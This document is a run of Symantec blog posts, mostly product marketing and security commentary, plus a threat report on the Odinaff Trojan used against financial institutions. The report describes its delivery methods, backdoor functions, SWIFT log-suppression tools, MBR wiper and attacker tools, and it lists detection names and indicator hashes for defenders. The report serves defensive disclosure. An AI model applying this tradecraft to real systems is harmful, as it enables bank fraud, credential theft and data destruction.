Symantec Endpoint Security is the solution that delivers complete protection across all devices in your environment, including full Mobile Threat Defense for both managed and unmanaged devices. With Mobile Access Control, a new feature unique to Endpoint Security, organizations can, for the first time, ensure MTD adoption even on unmanaged devices. Mobile Access control bases access to corporate resources on the health and security posture of the mobile endpoint, regardless if it is a managed or BYO device.
Solving the challenge of BYOD protection
Endpoint Security offers on-device mobile protection and enforcement capabilities that are automatically activated according to an organization’s policies. This requires that the Endpoint Security app (SEP Mobile) be installed and activated on mobile devices. For managed devices, organizations can leverage the integration with an MDM/EMM/UEM solution to push the app to devices and apply policies based on the health of the MTD agent on the device.
For unmanaged devices, deploying the MTD agent has traditionally been more difficult due to the lack of an enforcement mechanism (provided by an MDM/EMM/UEM). Mobile Access Control solves this challenge by integrating Endpoint Security’s MTD app in the SAML flow that is used when authenticating a user to a service or app in the organization.
Symantec Endpoint Security is the solution that delivers complete protection across all devices in your environment, including full Mobile Threat Defense for both managed and unmanaged devices.
By connecting to the sign on flow, we offer a more generic and universal mechanism for enforcement. When an end user tries to access a corporate resource on their device, the ‘integrated’ authentication process triggers a background evaluation of the device’s security posture, checking: 1. Whether the device has SEP Mobile app up and running, and 2. If the device is compliant with the organization’s security policy.
If the device has the SEP Mobile app deployed and is compliant, the end user can continue with the sign on process to gain access. If the evaluation finds that any of the above conditions are not met on the device (no MTD app or device is non-compliant), the end user will be blocked from accessing corporate resources and will be prompted to download the app or resolve the compliance violation.
Here’s a video of how this works.
Mobile Access Control, Symantec Endpoint Security
Mobile Access Control therefore ensures that devices, both managed and unmanaged, are protected and compliant with security policies. Only when these two conditions are met, does an end user get access to resources.
Sign-on timing is ideal
The Access Control approach is also effective because of where it meets the end user. An optimal time to persuade users to download the MTD agent is during the sign-on process when they most want access to resources. Just like with app permissions where users are more likely to accept a permission when they want to use a feature it enables, users will more likely download the MTD app when they want immediate access. This is ideal compared to sending end users an often “out-of-context” email prompting them to install and activate the MTD agent.
Non-disruptive access
Mobile Access Control’s generic implementation enables admins to integrate the mechanism into whatever SSO/SAML flow used in their organization. Integration should be straightforward if HTTP requests can be redirected to a Symantec page.
What does this mean for end users? Upon implementation, users who try to access a corporate app or resource, like Office 365, will be redirected to a specific Symantec page which triggers the Access Control mechanism to check the compliance status of their mobile device. As mentioned previously, if the device is found to be compliant, end users are seamlessly redirected back to the Office 365 login, which continues as it had before. Non-compliant users will be blocked. End-users will go through this process only for app logins that are configured to pass through Mobile Access Control and only when a login is required, for example if the password changes and the session has expired. If the session remains active, there is no need to go through the MAC process again.
Increased adoption for a stronger security posture
As we discussed in a previous blog post on MTD deployment best practices, even the most powerful MTD solutions are ineffective if your organization has incomplete deployment or low adoption rates. These factors can leave organizations vulnerable to attacks. BYODs – where end users are root users – may be introducing a great deal of risk to your organization, increasing the attack surface for corporate breach. Symantec Mobile Access Control not only ensures both your managed and unmanaged mobile devices are protected, in addition to all devices and OSs in your environment, it does so without interrupting end-user access, for continued productivity and security.
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No One is Immune
Microsoft, HPE, and the need for data-centric security
The threat landscape never sleeps. It is always probing. Persistent. Relentless.
But the recent hacks of Microsoft and Hewlett-Packard Enterprise (HPE) by a state-sponsored attack group also offer important lessons on how enterprises can better and more efficiently defend themselves, now, and in the future.
What these attacks spotlight is that in today’s threat landscape, preventing threats is important but protecting data is even more important. For many, this may require a new approach to cybersecurity to ensure the safety and security of their organizations.
Preventing threats from determined and sophisticated attackers — like the state-sponsored attack group linked to the Russian foreign intelligence service, SVR, that attacked Microsoft and HPE — is a game enterprises are destined to lose. Protecting the information that could be exposed after the attack is the real priority. This is the new approach, and the goal, of what we call data-centric security.
More than just visibility, enforcement
Data-centric security is an approach that should be considered by every enterprise because when it comes to breaches, it isn’t a matter of if; it’s a question of when.
All organizations need to have strong threat prevention, continually enriched by leading threat intelligence. But those are simply table stakes, and with a data-centric mindset it’s only the beginning. A strong and comprehensive data loss prevention (DLP) strategy needs to be in place to ensure that the most persistent and cleverest attacker ultimately fail in their goal - to get your data. Having strong DLP is a foundation for the zero-trust framework which assumes that an organization has been breached and therefore, needs to ensure that valuable information cannot be withdrawn.
A world-class data loss protection (DLP) solution provides that layer of data withdrawal protection. It offers the capabilities to apply that protection to stored data, data in use, and data in motion across the web, cloud, and private applications. And to be most effective, it applies data protection consistently across all control points, deeply integrated in endpoint, Cloud Secure Web Gateway (SWG), Cloud Access Service Broker (CASB) and Zero-Trust-Network Access (ZTNA) solutions: all connected by a leading threat intelligence network. A network backed by an expert team of experienced threat hunters who track organizations like the SVR and its various aliases, like Cozy Bear, Nobellium, and Fritillary, wherever they are, hiding in the shadows, waiting to strike.
Microsoft has some of these capabilities. Were they using them? We’ll probably never know. But what we do know is that the breach happened several months before they noticed. Let’s see how a data-centric security approach could have helped thwart the attacks or reduced their impact.
The attack strategy
The SVR alias Nobellium launched a “password spray” attack. It is not a novel or particularly sophisticated strategy — and it’s one that may have been prevented with better cyber hygiene practices. But it worked. The SVR got access to the accounts it wanted, and over several months had the opportunity to extract information it may have wanted to learn.
DLP and detecting data loss
A robust data loss protection (DLP) system would have helped limit the loss of sensitive information earlier and more efficiently. The best DLP solutions offer API-based and inline detection for the loss of sensitive data. Using the DLP’s integration with a customer’s cloud apps can also help detect the loss of sensitive data happening through several cloud apps and flag the exfiltration. A world-class DLP solution also inspects inline traffic running through those cloud apps and looks for patterns of sensitive data that enterprises can configure based on whatever personal information is most relevant to the organization.
In the Microsoft example, strong Cloud Access Security Broker (CASB) capabilities with integrated DLP can combine to create the data-centric security solution that could help enterprises identify the worst effects of a similar cyberattack.
Detecting invalid logins
The attack could have been detected by a more sophisticated Cloud DLP solution that detected invalid logins. For example: the CASB functionality within Symantec DLP Cloud can configure a threshold where, if more than a certain number of invalid logins is attempted for a specific login attempt, automatically triggers an incident alert.
Data Protection solutions with artificial intelligence (AI) and machine learning (ML) capabilities could also detect a similar attack strategy using user and entity behavior analytics (UEBA)-based techniques to detect anomalous patterns. When the solution detects an anomalous type of login activity, like too many logins or logins from suspicious locations, it triggers an automatic alert or remediating steps.
Detecting excessive data downloads
A comprehensive Data Protection solution with rich cloud application capabilities can also detect excessive data downloads. Rules can be set for thresholds that, if exceeded, automatically trigger an incident. Or, AI and ML could use UEBA techniques to detect and trigger an alert or remediating steps when there is anomalous download or sharing activity.
Event scenarios and sequences
An effective data-centric solution also offers the ability to configure event scenarios, event sequence and risk vectors. These options combine the two attacking strategies witnessed in the Microsoft and (presumably) HPE hacks. For example, if a sequence of five or 10 invalid logins is followed by a successful login, and then succeeded in turn by a download of more than 100 GB of data, the event would automatically trigger that the organization was under a brute force attack.
A passion for data-centric security
The bottom line is that data security is not just about visibility. True data security requires enforcement for real protection as well. That’s what we call data-centric security. And at Symantec that’s what we offer to defend you against a threat landscape that never sleeps.
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No Rest for the Weary: Mobile Hackers are Getting More Aggressive
Another year, another increase in the number of mobile threats, vulnerabilities, and outdated mobile devices. So, what gives?
If the headlines have you thinking that mobile security is getting worse, you’re not imagining things. We have just published the quarterly Mobile Threat Intelligence Report to dig into the 2017 numbers a bit. The report is based on data gathered by Symantec SEP Mobile, which Symantec's analysts use to identify, analyze, and provide commentary on emerging trends in the dynamic mobile threat landscape.
Last year set a record, according to Symantec’s recently released Internet Security Threat Report (ISTR) with the number of new mobile malware variants soaring by 54% from the prior year. Attackers clearly saw an opportunity to ply their trade and they were active. In fact, Symantec blocked an average of 24,000 malicious mobile applications each day last year.
Attackers keep developing new methods of infection and tricks to remain on compromised devices as long as possible.
But not only are threats growing, the problem is exacerbated by workers continuing to use older operating systems. While 80% of iOS devices are on the latest release (leaving 20% exposed to known security vulnerabilities), Android devices are updated far more slowly, with only 3% on the latest OS version.
There is some good news. Knowing that Android users are largely unwilling or unable to move to the latest operating systems very quickly, Google not very long ago separated out security patches from the Android OS versions. So now, whenever Google issues a security patch, they do it for multiple versions. If someone is still using Android 7 or – heaven forbid! - Android 6, they can still get the security patch for that version to protect against more recent secure threats and vulnerabilities.
Still, about 41% of Android devices have security patches that are at least 2 months old. Even though it would be great if the percentage was still higher, we need to realize that for whatever reason, most people just don’t update their devices to the latest OS version.
That aside, 2017 was not a good year for mobile security. Symantec’s ISTR, as well as the Mobile Threat Intelligence Report for 2017, present a picture of savvy attackers having their way with unaware users, leaving enterprise security managers scrambling to play defense in the face of increasing attacks.
Every quarter we set out to carefully analyze the data we aggregate (anonymously) via our SEP Mobile installed base. In 2017, we analyzed over 1 million apps and over 2 million unique networks. Sifting through this data, our globally recognized mobile security research team indentified the key trends. Let’s take a closer look.
Mobile Malware Variety and Volume Both Up
Not only did the volume of malware we identified grow, but the number of variants grew as well. Malware variants increased 54% in 2017. Looked at another way, it means that mobile attacks are becoming more common and attackers are branching out. That’s a troubling harbinger for enterprise IT teams, who will have to defend their organizations against both more attacks and more varied threats.
Though we tracked across-the-board increases in most variants, the two malware variants that registered the largest growth last year were adware and ransomware. It also suggests that attackers are shifting their goals; before they sought to steal data; now, increasingly, they aim to corrupt it for the sake of financial extortion. Though both are obviously bad news for enterprises, it also sends a message that mobile malware is leaving behind its juvenile past to something more sophisticated.
Outdated Operating Systems
Another chronic problem: mobile devices that still run on outdated operating systems. Some 41% of Android devices still run on security patches that are at least two months old, and roughly 15% of Android devices run on security patches that are at least five months old. iPhones fared better, likely reflecting the fact that Apple owns its entire distribution chain, whereas Google does not. This makes updating Androids slower and more challenging.
Then there’s the human factor to consider. Many users might know that a new update is available but still not really care, likely because they’re unaware of the security risks involved in using out-of-date software. 2017 saw an increase of 80% in published mobile operating system vulnerabilities compared to 2016. That’s fostered a situation where 34% of mobile devices are rated as medium or high-risk (based on Symantec’s proprietary Mobile Threat Risk Score).
Similarly, end users might know there are updates available but may actively avoid them. Apple is particularly notorious for slower device and battery performance with new operating system releases. This makes users even more wary about upgrading to the latest and greatest, fearing it’ll slow their phone down and force them to buy a new device before they want – or can afford – to.
Risky Wi-Fi networks more popular than ever
The number of risky Wi-Fi networks based on the SEP Mobile Threat Risk Score that were detected in major US tech centers increased by 56% across 2017, with Chicago being the only major tech center seeing a decrease (down 23%). Other tech centers, however, saw a massive spike in risky Wi-Fi networks: Boston up 173%, Portland up 158%, Seattle up 107%, and Salt Lake City up a staggering 325% - more than any other major US tech center city. To make matters worse, we found that 44% of mobile devices will face exposure to a risky Wi-Fi network within just four months of operation, making it increasingly vulnerable for any end user (and their data) who connects to unknown and/or untrusted Wi-Fi networks, which unfortunately for IT, is a large number of end users.
None of this should be surprising. As mobile devices have become increasingly popular, they’ve also become increasingly attractive targets for attackers.
Desktop security has developed over 3 decades whereas mobile security is just 3 years in the works. While it has not become a default check box for business IT, more organizations are having those conversations. Still, the ramp up can’t come fast enough.
Businesses must become more aware of the risks and take the steps to evaluate and implement a mobile threat defense solution that is complete, holistic and protects mobile devices proactively across all major threat vectors.
Interested in learning more about protecting your organization from mobile threats?
Take the free Mobile Security Mastery Course. Nine video modules that can be completed in less than 2 hours.
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Not All Data Is Created Equal: Data vs. Actionable Data
Enterprise security is hampered by a preoccupation with collecting data. The focus should be on extracting information to collect actionable data
If you have a teenager, you’ve probably heard the phrase, “T.M.I.” It’s an acronym for “too much information,” and in my home it’s a signal that I’m supplying way too much information than what’s needed. It is also a major reason why information security is becoming much more difficult for enterprises today. Quite simply, organizations are drowning in the amount of data they collect. And though it’s counter-intuitive, I submit that for better security, less is more.
Just consider how many things are done through some kind of computer or digital device. Cloud and near-universal mobility are fueling an extreme escalation of real-world processes into digital. The responsibility to secure all this digital data falls to us in the security field. And right now, we are failing because we are making the wrong decisions when it comes to data security.
To be effective, security needs to be flexible and very agile.
Years ago, we in enterprise security had the advantage. There were clear boundaries. Perimeters that were relatively easy to map and defend. We could ensure security with external connections and firewalls. But that scenario is the antithesis to what we deal with today.
Today, everything is fluid. There are no hard boundaries or clearly defined perimeters. Cloud is constantly allowing new ways to deliver anything to do with data. To be effective, security needs to be flexible and very agile. It needs to address the huge amount of decisions organizations need to make on a daily basis. Decisions that have to be made as fast as possible and constantly altered and modified. Decisions that must be applied to the collected data to transform it into actionable data.
So now, the question really becomes: What kinds of data do organizations like yours need to start collecting so you can process for actionable data?
Collect Everything. Secure Nothing.
For many years, our focus was on collecting every piece of data in our network flows. The idea was that this would allow us to analyze and protect more effectively. It sounds good in theory. But despite the fact that we collect all of this data, there are data breeches every single day – more than 6500 in 2018 alone, according to a recent report.
Why do we miss data threats when we collect every piece of that data? We miss it because the amount of data we collect is too large, too diverse and complex. Security people and organizations get so caught up in collecting so much data they can’t do anything with it. They just don’t have the budget, people or resources.
So, what is actionable data for security?
As someone who has been on the front-lines of data security for more than 20 years, I believe I know the answer. And again, it has to do with how IT security is evolving and transforming. Bottom line, IT security was, and to a great extent, still is, networking security. From that subset came the set of security tools we are all familiar with -- firewalls, VPNs, SIEMs, and so on. All are built around applying security policies to IP addresses. That made sense in an era of static network environments. But today, that doesn’t work at all.
Funnel for Actionable Data.
I submit that the problem we face is that we don’t know what we’re targeting so in response, we collect everything. The focus today is all about the data or information pipeline. It’s all about how I am collecting all this data, the quadrillions of bytes from so many different sources and places. I admit that’s cool to talk about -- but it’s not getting you and your organization to actionable data.
What we need is not a data pipeline but a data funnel in which we take data and then funnel it into actionable data. Today, we are too preoccupied with collecting data. What we should be preoccupied with is extracting data to collect actionable data.
I realize I am targeting a couple of sacred cows of security. The first of these sacred cows is that networking guys still want to do security the way they have always done it: they want to build data security around IP addresses. That was once both easy and effective. But today, an IP address is useless for security. To improve security, you need to build around user identity. The focus needs to be on what the users do with your data.
What we need is not a data pipeline but a data funnel in which we take data and then funnel it into actionable data.
The second sacred cow that needs to be eliminated from the security conversation is to take the focus away from collecting data for data’s sake and focus instead on the funnel, not on the pipeline. Extraction is the goal, not collection. Don’t collect network information for security purposes. Focus on the identity of the user and classify your data so that you can monitor and track it in real time – that combination provides a tremendous tool for creating your funnel – and allows for vastly improved data analytics.
By shifting to an identity-centric, data classification approach, your organization will be able to do more, and better security, with less data. It will allow you to make security decisions faster and more effectively. And by focusing on extracting rather than just collecting information, lower your overall security costs. I know it sounds counter-intuitive, but the only right way to do data security in our digital age is to do it smart – and not by collecting too much data. I assure you that if we do, we can transform the present state of data security.
Symantec is the only security vendor today that can deliver an identity-centric, data classification approach across all your digital communication channels. I invite you to learn more by contacting your Symantec representative. Or by visiting the links below:
https://www.symantec.com/products/information-centric-security
https://www.symantec.com/theme/integrated-cyber-defense-exchange
How Digital Transformation is Challenging Security
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NSA Cyber Head: Time to Get Back to Basics
Finding itself increasingly under attack by nation-state adversaries, the secretive intelligence agency says technology can only solve part of the problem
One of the National Security Agency’s (NSA) top technology officials said the normally secretive agency finds itself in a non-stop cyber battle against a constellation of increasingly aggressive and sophisticated nation-state attackers.
Dave Hogue, the Technical Director of the NSA’s Cyber Security Threat Operations Center (NCTOC) sounded themes that network defenders in the private sector should find familiar.
“Cyber security is not an 8-to-5 job,” said Hogue, who spoke Tuesday at the RSA Conference in San Francisco, adding that the agency now employs “fully-fledged threat experts around the clock, 24 hours a day, seven days week.”
“We’re working every day to keep up with what our adversaries are doing,” he said.
On the surface, that job doesn’t sound that much different from what any organization’s Security Operations Center does – with one obvious difference: The massive size of the NSA’s secretive operations. Estimates vary but the NSA, which collects foreign intelligence from communications and information systems, is believed to employ between 30,000 and 40,000 people with an annual budget in excess of $10 billion.
Among its other responsibilities, Hogue said that NCTOC is responsible for defending a Department of Defense network that serves over 2.9 million users around the world. That puts a big bullseye on its back with a multitude of foreign adversaries seeking to find - and exploit -network vulnerabilities to disrupt its networks and steal data.
“This is the network that we use to send troops into battle,” Hogue said. “It has to be a mission-critical, no-fail network and we see quite a variety of threat actors trying to get in.”
Nation-State Attacks: The New Normal
So far, Hogue said, 2018 has been punctuated by months of “escalating attacks.” It also turns out that hackers are attacking NSA in much the same way that they have gone about trying to compromise other data-rich targets. Some 90% of the intrusion attempts at the NSA start with email – with some 85% being rejected by the network’s defenses. Another preferred mode of attack is for malicious actors to use known vulnerabilities and scan for unpatched networks.
“There’s been a fundamental shift in nation-state activity,” he said, adding that “geopolitical events have drastically altered the landscape.”
“The level of damage continues to increase, the level of sophistication needed to inflict damage continues to decrease and disruptive events are the new norm,” according to Hogue.
Indeed, he noted a report on Monday put out by the U.S. and British governments warning that Russia was behind a global campaign to compromise computer routers and firewalls to carry out espionage and possibly sabotage. That effort was said to include “primarily government and private-sector organizations, critical infrastructure providers, and the Internet service providers (ISPs) supporting these sectors.”
Russia’s cyber campaigns are bold and persistent, Hogue said. He also acknowledged their sophistication, confirming for the first time an earlier US allegation that Russia's military used a "false flag" operation when it hacked the 2018 Winter Olympic Games in South Korea and then tried to make it appear as if North Korea was responsible for the attack.
Hogue also pointed to the cyber warfare capability assembled by China. Since signing a 2016 cyber security agreement, China has scaled back its cyber espionage activities. Hogue said that despite the agreement, however, China continues to launch periodic cyber attacks against US interests but they are now “more surgical and targeted areas of intrusion.”
The NSA official also signaled out both Iran and North Korea as increasingly formidable cyber powers.
“Iran doesn’t dominate headlines like Russia and China but at any moment, they can use their destructive capabilities to inflict damage,” he said.
When it comes to North Korea, “don’t let outward appearances fool you. They have a cyber army in the thousands…and they are insistent about getting into [targeted] networks.”
Blocking and Tackling
Ultimately, Hogue said, the NSA’s success in stymying attacks rests on its ability to promote what he described as “a return to cyber defense basics.”
Indeed, he noted that 93% of the incidents suffered in 2017 were preventable had NSA employees followed best practices – an ostensibly easy solution that he acknowledged was a source of frustration for any network defender.
Hogue cited a survey that found 1 in 3 employees maintaining they were more likely to get hit with lightening than suffer a loss of data due to a cyber attack.
“We need a change in behavior,” he said, telling the audience members that their organizations might be targeted by nation-state adversaries tomorrow. “Technology alone won’t solve our problems…. your users hold the keys to the kingdom.”
The challenge, as any CISOs attending the presentation would agree, is finding a way to make that message stick with the rank-and-file.
Join Symantec at RSA Conference 2018 Booth #3901 North Expo Hall. Click Here for the schedule and follow @Symantec on Twitter for highlights.
You can also livestream or watch on demand the keynote at: https://www.rsaconference.com/events/us18/presentations/keynote-symantec
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Odinaff: New Trojan used in high level financial attacks
Attacks focused on organizations operating in the banking, securities, trading, and payroll sectors.
Since January 2016, discreet campaigns involving malware called Trojan.Odinaff have targeted a number of financial organizations worldwide. These attacks appear to be extremely focused on organizations operating in the banking, securities, trading, and payroll sectors. Organizations who provide support services to these industries are also of interest.
Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.
These attacks require a large amount of hands on involvement, with methodical deployment of a range of lightweight back doors and purpose built tools onto computers of specific interest. There appears to be a heavy investment in the coordination, development, deployment, and operation of these tools during the attacks. Custom malware tools, purpose built for stealthy communications (Backdoor.Batel), network discovery, credential stealing, and monitoring of employee activity are deployed.
Although difficult to perform, these kinds of attacks on banks can be highly lucrative. Estimates of total losses to Carbanak-linked attacks range from tens of millions to hundreds of millions of dollars.
Global threat
Attacks involving Odinaff appear to have begun in January 2016. The attacks have hit a wide range of regions, with the US the most frequently targeted. It was followed by Hong Kong, Australia, the UK and Ukraine.
Figure 1. Odinaff attacks by region
Most Odinaff attacks were against financial targets. In attacks where the nature of the victim’s business was known, financial was by far the most frequently hit sector, accounting for 34 percent of attacks. There were a small number of attacks against organizations in the securities, legal, healthcare, government and government services targets; however, it is unclear whether all of these were financially motivated.
Around 60 percent of attacks were against targets whose business sector was unknown, but in many cases these were against computers running financial software applications, meaning the attack was likely financially motivated.
Figure 2. Odinaff attacks by sector
Initial point of attack
The Odinaff attackers’ use a variety of methods to break into the networks of targeted organizations. One of the most common methods of attack is through lure documents containing a malicious macro. If the recipient opts to enable macros, the macro will install the Odinaff Trojan on their computer.
Figure 3. Lure document containing instructions on how to enable Word macros.
Another attack involves the use of password-protected RAR archives, in order to lure the victims into installing Odinaff on their computers. Although Symantec has not seen how these malicious documents or links are distributed, we believe spear-phishing emails are the most likely method.
Trojan.Odinaff has also been seen to be distributed through botnets, where the Trojan is pushed out to computers already infected with other malware, such as Andromeda (Downloader.Dromedan) and Snifula (Trojan.Snifula). In the case of Andromeda, this was bundled as a Trojanized installer for AmmyyAdmin, a legitimate remote administration tool. The Trojanized installer was downloaded from the official website, which has been targeted repeatedly in recent times to spread a number of different malware families.
Malware toolkit
Odinaff is a relatively lightweight back door Trojan that connects to a remote host and looks for commands every five minutes. Odinaff has two key functions: it can download RC4 encrypted files and execute them and it can also issue shell commands, which are written to a batch file and then executed.
Given the specialist nature of these attacks, a large amount of manual intervention is required. The Odinaff group carefully manages its attacks, maintaining a low profile on an organization’s network, downloading and installing new tools only when needed.
Trojan.Odinaff is used to perform the initial compromise, while other tools are deployed to complete the attack. A second piece of malware known as Batle (Backdoor.Batel) is used on computers of interest to the attackers. It is capable of running payloads solely in memory, meaning the malware can maintain a stealthy presence on infected computers.
The attackers make extensive use of a range of lightweight hacking tools and legitimate software tools to traverse the network and identify key computers. These include:
Mimikatz, an open source password recovery tool
PsExec, a process execution tool from SysInternals
Netscan, a network scanning tool
Ammyy Admin (Remacc.Ammyy) and Remote Manipulator System variants (Backdoor.Gussdoor)
Runas, a tool for running processes as another user.
PowerShell
The group also appears to have developed malware designed to compromise specific computers. The build times for these tools were very close to the time of deployment. Among them were components capable of taking screenshot images at intervals of between five and 30 seconds.
Evidence of attacks on SWIFT users
Symantec has found evidence that the Odinaff group has mounted attacks on SWIFT users, using malware to hide customers’ own records of SWIFT messages relating to fraudulent transactions. The tools used are designed to monitor customers’ local message logs for keywords relating to certain transactions. They will then move these logs out of customers’ local SWIFT software environment. We have no indication that SWIFT network was itself compromised.
These “suppressor” components are tiny executables written in C, which monitor certain folders for files that contain specific text strings. Among the strings seen by Symantec are references to dates and specific International Bank Account Numbers (IBANs).
The folder structure in these systems seem to be largely user defined and proprietary, meaning each executable appears to be clearly tailored to for a target system.
One of the files found along with the suppressor was a small disk wiper which overwrites the first 512 bytes of the hard drive. This area contains the Master Boot Record (MBR) which is required for the drive to be accessible without special tools. We believe this tool is used to cover the attackers’ tracks when they abandon the system and/or to thwart investigations.
These Odinaff attacks are an example of another group believed to be involved in this kind of activity, following the Bangladesh central bank heist linked to the Lazarus group. There are no apparent links between Odinaff’s attacks and the attacks on banks’ SWIFT environments attributed to Lazarus and the SWIFT-related malware used by the Odinaff group bears no resemblance to Trojan.Banswift, the malware used in the Lazarus-linked attacks.
Possible links to Carbanak
The attacks involving Odinaff share some links to the Carbanak group, whose activities became public in late 2014. Carbanak also specializes in high-value attacks against financial institutions and has been implicated in a string of attacks against banks in addition to point of sale (PoS) intrusions.
Aside from the similar modus operandi, there are a number of other links between Carbanak and Odinaff:
There are three command and control (C&C) IP addresses that have been connected to previously reported Carbanak campaigns.
One IP address used by Odinaff was mentioned in connection with the Oracle MICROS breach, which was attributed to the Carbanak group.
Backdoor.Batel has been involved in multiple incidents involving Carbanak.
Since Carbanak’s main Trojan, Anunak (Trojan.Carberp.B and Trojan.Carberp.D) was never observed in campaigns involving Odinaff, we firmly believe the group uses a number of discreet distribution channels to compromise financial organizations.
While it is possible that Odinaff is part of the wider organization, the infrastructure crossover is atypical, meaning it could also be a similar or cooperating group.
Banks increasingly in the crosshairs
The discovery of Odinaff indicates that banks are at a growing risk of attack. Over the past number of years, cybercriminals have begun to display a deep understanding of the internal financial systems used by banks. They have learned that banks employ a diverse range of systems and have invested time in finding out how they work and how employees operate them. When coupled with the high level of technical expertise available to some groups, these groups now pose a significant threat to any organization they target.
Protection
Symantec and Norton products detect these threats as:
Antivirus
Trojan.Odinaff
Trojan.Odinaff!g1
Trojan.Odinaff!gm
Backdoor.Batel
Remacc.Ammyy
Backdoor.Gussdoor
Intrusion Prevention
System Infected: Trojan.Odinaff Activity
Bluecoat
Bluecoat products will:
Block offending network traffic
Detect and block the malware used as Backdoor.Batel & Trojan.Odinaff
Indicators of compromise
The following are examples of the various tools in use:
Odinaff droppers
f7e4135a3d22c2c25e41f83bb9e4ccd12e9f8a0f11b7db21400152cd81e89bf5
c122b285fbd2db543e23bc34bf956b9ff49e7519623817b94b2809c7f4d31d14
Odinaff document droppers
102158d75be5a8ef169bc91fefba5eb782d6fa2186bd6007019f7a61ed6ac990
60ae0362b3f264981971672e7b48b2dda2ff61b5fde67ca354ec59dbf2f8efaa
Odinaff samples
22be72632de9f64beca49bf4d17910de988f3a15d0299e8f94bcaeeb34bb8a96
2503bdaeaa264bfc67b3a3603ee48ddb7b964d6466fac0377885c6649209c098
SWIFT log suppressors
84d348eea1b424fe9f5fe8f6a485666289e39e4c8a0ff5a763e1fb91424cdfb8
Backdoor.Batel RTF document dropper
21e897fbe23a9ff5f0e26e53be0f3b1747c3fc160e8e34fa913eb2afbcd1149f
Backdoor.Batel stagers
001221d6393007ca918bfb25abbb0497981f8e044e377377d51d82867783a746
1d9ded30af0f90bf61a685a3ee8eb9bc2ad36f82e824550e4781f7047163095a
Older Batel *.CPL droppers
1710b33822842a4e5029af0a10029f8307381082da7727ffa9935e4eabc0134d
298d684694483257f12c63b33220e8825c383965780941f0d1961975e6f74ebd
Cobalt Strike, possible ATM implants
429bdf288f400392a9d3d6df120271ea20f5ea7d59fad745d7194130876e851e
44c783205220e95c1690ef41e3808cd72347242153e8bdbeb63c9b2850e4b579
Cobalt Strike implants
1341bdf6485ed68ceba3fec9b806cc16327ab76d18c69ca5cd678fb19f1e0486
48fb5e3c3dc17f549a76e1b1ce74c9fef5c94bfc29119a248ce1647644b125c7
Backdoor.Batel loaders
0ffe521444415371e49c6526f66363eb062b4487a43c75f03279f5b58f68ed24
174236a0b4e4bc97e3af88e0ec82cced7eed026784d6b9d00cc56b01c480d4ed
Stagers (MINGW)
d94d58bd5a25fde66a2e9b2e0cc9163c8898f439be5c0e7806d21897ba8e1455
3cadacbb37d4a7f2767bc8b48db786810e7cdaffdef56a2c4eebbe6f2b68988e
Disk wipers
72b4ef3058b31ac4bf12b373f1b9712c3a094b7d68e5f777ba71e9966062af17
c361428d4977648abfb77c2aebc7eed5b2b59f4f837446719cb285e1714da6da
Keylogger
e07267bbfcbff72a9aff1872603ffbb630997c36a1d9a565843cb59bc5d97d90
Screengrabbers
a7c3f125c8b9ca732832d64db2334f07240294d74ba76bdc47ea9d4009381fdc
ae38884398fe3f26110bc3ca09e9103706d4da142276dbcdba0a9f176e0c275c
Command shells
9041e79658e3d212ece3360adda37d339d455568217173f1e66f291b5765b34a
e1f30176e97a4f8b7e75d0cdf85d11cbb9a72b99620c8d54a520cecc29ea6f4a
HTTP Backconnect
b25eee6b39f73367b22df8d7a410975a1f46e7489e2d0abbc8e5d388d8ea7bec
Connection checkers
28fba330560bcde299d0e174ca539153f8819a586579daf9463aa7f86e3ae3d5
d9af163220cc129bb722f2d80810585a645513e25ab6bc9cece4ed6b98f3c874
PoisonIvy loaders
25ff64c263fb272f4543d024f0e64fbd113fed81b25d64635ed59f00ff2608da
91601e3fbbebcfdd7f94951e9b430608f7669eb80f983eceec3f6735de8f260c
Ammyy Admin remote administration tools
0caaf7a461a54a19f3323a0d5b7ad2514457919c5af3c7e392a1e4b7222ef687
295dd6f5bab13226a5a3d1027432a780de043d31b7e73d5414ae005a59923130
Ammyy Admin, Trojanized
cce04fa1265cbfd61d6f4a8d989ee3c297bf337a9ee3abc164c9d51f3ef1689f
RemoteUtilities remote administration tools
2ba2a8e20481d8932900f9a084b733dd544aaa62b567932e76620628ebc5daf1
3232c89d21f0b087786d2ba4f06714c7b357338daedffe0343db8a2d66b81b51
Runas
170282aa7f2cb84e023f08339ebac17d8fefa459f5f75f60bd6a4708aff11e20
Mimikatz
7d7ca44d27aed4a2dc5ddb60f45e5ab8f2e00d5b57afb7c34c4e14abb78718d4
e5a702d70186b537a7ae5c99db550c910073c93b8c82dd5f4a27a501c03bc7b6
Kasidet
c1e797e156e12ace6d852e51d0b8aefef9c539502461efd8db563a722569e0d2
cee2b6fa4e0acd06832527ffde20846bc583eb06801c6021ea4d6bb828bfe3ba
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Office 365 Brings its Own Set of Challenges to Data Protection
Responsibility for data protection heightens when data enters the cloud
When data leaves the corporate perimeters and is shared in cloud applications, like Office 365, organizations remain responsible for its security, and must provide the same level of protection as within their managed environments. The cloud infrastructure makes the data protection task harder because organizations don’t own or manage the cloud infrastructure or its security postures. But, while the cloud presents its own challenges that must be specifically addressed, Office 365 is also just a new place where data can both reside and get lost, same as with other cloud channels and on-premise systems like networks, endpoints, and storage. If you have data protection controls and policies in place that work for your existing channels, and now you intend to extend into cloud applications like Office 365, then these five recommendations may save you from an epic fail:
Data protection requires an enterprise-wide comprehensive approach. Single point protection is not good protection. Office 365 is one of the numerous outlets where data can get lost or exfiltrated, and the reality is that malicious actors are likely to try alternative methods if their initial attempt fails. Locking down O365 applications and email can be totally useless if data can be taken via USB, via a shadow application, or via a personal device. Data protection needs to encompass every platform and every possible egress point, such as emails, networks, roaming endpoints, storage systems as well as cloud. Independence from a specific computing platform, device, or OS is part of a sound comprehensive approach.
Make data protection a top priority. A good enough approach is just as bad as it sounds. It may save money and time initially but it becomes very expensive in the long run when an organization suffers a painful data breach and all the consequences that come with it: affected brand reputation, financial responsibilities, and high fines due to compliance loss.
Protect your critical content in its every form. You can’t protect what you don’t see, so visibility is an extremely important step to data protection. Structured and unstructured data, even content embedded in pictures, needs a data protection system that leverages advanced auto-discovery capabilities such as fingerprinting technologies, machine learning, and OCR that are found in highly reliable data loss prevention systems. To minimize false positives, the detection capabilities need to work in concert and take human input into account in the classification process of sensitive corporate data. Relying solely on your employees to classify data, no matter how much they are trained, is a dangerous approach.
